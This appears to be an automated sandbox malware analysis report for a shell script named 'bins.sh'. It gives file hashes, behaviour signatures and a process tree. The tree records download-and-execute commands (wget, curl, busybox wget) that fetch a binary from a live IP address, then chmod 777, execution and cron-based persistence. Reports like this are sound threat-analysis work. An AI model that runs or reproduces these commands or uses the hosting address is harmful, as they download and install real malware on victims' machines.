Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    04-11-2024 23:27

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    0608e8f1df47e2008cb35811c967d18e

  • SHA1

    d9c11296c385ae6dd53490fbb042c51fb00734c0

  • SHA256

    2835c76202590f8f399672f9075da9d4ecf4cad9ad13f1d864081841188cf7cc

  • SHA512

    8b65cb5e0aa378cfb150c7f17bf7833760d5844625d83f742c9e56330d9636c64545ca9a48f1ec8ae12a3106ab3103e64f29adcee26bfec9797a0dac31cf465c

  • SSDEEP

    192:WHHqLCEO+xjXjjjojfj/juUIguu65GW0/u65GW0uHHqLojXjjjojfj/j5Ok:WHHqLC5+xTX8TbaUIg/HHqLoTX8Tbwk

Malware Config

Signatures

  • Contacts a large (2206) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 3 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:1498
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:1499
        • /usr/bin/wget
          wget http://87.120.84.230/bins/SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx
          2⤵
          • Writes file to tmp directory
          PID:1500
        • /usr/bin/curl
          curl -O http://87.120.84.230/bins/SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx
          2⤵
          • Writes file to tmp directory
          PID:1504
        • /bin/busybox
          /bin/busybox wget http://87.120.84.230/bins/SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx
          2⤵
          • Writes file to tmp directory
          PID:1505
        • /bin/chmod
          chmod 777 SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx
          2⤵
          • File and Directory Permissions Modification
          PID:1506
        • /tmp/SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx
          ./SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx
          2⤵
          • Executes dropped EXE
          • Renames itself
          • Reads runtime system information
          PID:1507
          • /bin/sh
            sh -c "crontab -l"
            3⤵
              PID:1509
              • /usr/bin/crontab
                crontab -l
                4⤵
                  PID:1510
              • /bin/sh
                sh -c "crontab -"
                3⤵
                  PID:1511
                  • /usr/bin/crontab
                    crontab -
                    4⤵
                    • Creates/modifies Cron job
                    PID:1512
              • /bin/rm
                rm SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx
                2⤵
                  PID:1522
                • /usr/bin/wget
                  wget http://87.120.84.230/bins/ZkTy5PXlO8Nnu0VK7nK6WAeAK2X13E5CtD
                  2⤵
                    PID:1525

                Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                • /tmp/SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx

                  Filesize

                  99KB

                  MD5

                  9438d9bc392bcf300a5583b6df5bc8f6

                  SHA1

                  375a6ae34b516f6f3eeea8030c4084f585017efa

                  SHA256

                  68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                  SHA512

                  1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                • /var/spool/cron/crontabs/tmp.TdXSJS

                  Filesize

                  210B

                  MD5

                  0cec1c9fe2bbf07765235f9f4137a99e

                  SHA1

                  70c41d0945a230a25d800e6e48f36c8b70be422d

                  SHA256

                  6519ecf27dfb4b1509ed9741d6975de3a97afdc2d916b804bce9829c4c18983f

                  SHA512

                  0e88035b93fbef9b918627f60f7d7a108ca5618f7d38e7c5eff3796089848478534b23454b0372d0f863307147530df63e026b6dc1aa619c90ab83bb4f173712